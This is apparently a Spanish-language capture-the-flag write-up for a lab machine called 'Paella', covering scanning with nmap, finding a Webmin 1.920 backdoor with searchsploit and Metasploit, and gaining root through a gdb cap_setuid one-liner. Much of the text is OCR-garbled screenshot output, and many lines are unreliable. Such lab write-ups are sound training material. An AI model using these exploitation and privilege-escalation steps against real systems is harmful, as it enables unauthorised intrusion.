PAELLA

CONECTIVIDAD

ping -c1 192.168.0.27

— 192.168.0.27 ping
1 packets transmitted,
rtt min/avg/max,/mdev

IP DE LA MAQUINA VICTIMA 192.168.0.27

IP DE LA MAQUINA ATACANTE 192.168.0.22

LINUX- ttl=64

ESCANEO DE PUERTOS



nmap -p- -Pn -sVC --min-rate 5000 192.168.0.27 -T 5

nap -p- —-Pn -sVC —min-

Starting Nmap 7.945VN { https: ) a @9-02 15:14 EDT

Warning: 192.168.0.27 giving up on port beca retransmission cap hit (2).
Mmap scan report for 192.168.0.27

Host is up (@.000525 latency).

Mot shown:

PORT STATE SERVICE VERSION

22/tcp ssh OpenSSH 7.9pl1 Debian 1@+debl@ud (protocol 2.8)

186:8cC: : 3 (RSA)
1B4:5 (ECDSA)
3: :5c:@d:eb:81:4e:b5:95:40 (ED25519)
l@@@d/tcp open http MiniServ 1.928 (Webmin httpd)
|_http-title: Login to Webmin
| http-robots.txt: 1 disallowed entry
1_/
@0:0C:29:QC:F7:57 (VMware)
Service Info: 05: Linux; CPE: cpe:/fo:linux:linux_kernel

Encontramos los puertos 22 y 10000

PUERTO 10000

@ O A 192.168.0.27

Kali Tools « KaliDocs & Kali Forums ¢\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

& Webmin

You must enter a username and
password to login to the server on
192.168.0.27

a |
a

Remember me

ENUMERACION

whatweb 192.168.0.27:10000




192.168 I
(200 OK] Cookies[ redirect, testing], Countey[RESERVED] ], HTLS, HTTRServer| [, T[192.168.0.27], PassuordField(pass |, Seript,
Title[Login to Hebain], Uncomenfleaders|auth-type, content-security-policy], KeFrane-Options | SAMECRIGIN]

Cotejamos que la version de webmin es 1.920.
Con searchsploit

searchsploit webmin 1.920

yloit webmin 1,920

Exploit Title

Shellcodes: No Results

EXPLOTACION

Nos vamos a metasploit

msfconsole -q

Disclosure Date De iption

9 L T WEBmin /file/show Remote Command Execution
Webmin
Webmin
Webmin

Webmin e E e € mmand Execution
t Webmin
iliary/admin/Webmin/edit. L 2 a Webmin ed i meter Tr 1 Arbitrary File Access
exploit/linux/http/webmin_| £ cel t e Webmin pa r' kdoor
\_ target: Automa (Un .

with a module b e or i . nple info 12, use
After interacting with le y a et a TARGET wit

erl
show options




1
10000

his must be an addre on the local machine or 0.8.0.8 to 1i

27:46952) at 2024-09-03 13:30:58 -0400

Una vez estabilizada la shell, listamos /home

paella@TheHackersLabs-Paella:~$ Is -la

paellagTheHackersLabs-Paella:~%
1s -1la

total 4@

drwxr-xr- paslla paella 4096
drwxr-xr-x root root

Lrwx ruxrwx root .bash_history — J/dev/nul
-TW-r—T— aella paella G .bash_logout

-Ir-r—71r-- aella paeslla 3526 ; .bashrc

drwx——— 3 paella paella 4096 24 17:28 .gnupg

drwxr-xr-x a a paslla 4096 J .Local

drwxr-xr-x 2 paella paella 4096 3 .pkexec

-TW-T—T - aella paella 887 I 2 .profile

—-I'W-Tr—TI— asella paella 2089 2. y .wget-hsts

-TW-r—T— a a paeslla user.txt

s v |

o

ESCALADA DE PRIVILEGIOS

Me bajo linpeas y analizo



ithub.
2

a1t
ithub.c

applicati

.com
200 0K
tream]

in 8.09s

cap
time,cap_s

/usr/bin/gdb: Este archivo tiene la capacidad cap_setuid con el flag +ep

lo que significa que gdb puede cambiar su UID a cualquier valor, incluso
cuando se ejecuta como un usuario no privilegiado. Esto puede ser

potencialmente explotable para obtener privilegios de root.

Nos vamos a
/gdb -nx -ex 'python import os; os.setuid(0)' -ex 'Ish' -ex quit
Como el ejecutable de gdb se encuentra en /bin/gdb

lo ejecutamos usando la ruta completa




import
quit

! Inc.
GPLwv3+: GNU GPL i i or la http:/,
AN EEE F EEE and i ibute it.
. the
and "

figured

ration

manual and

u.org

', Buen dia.
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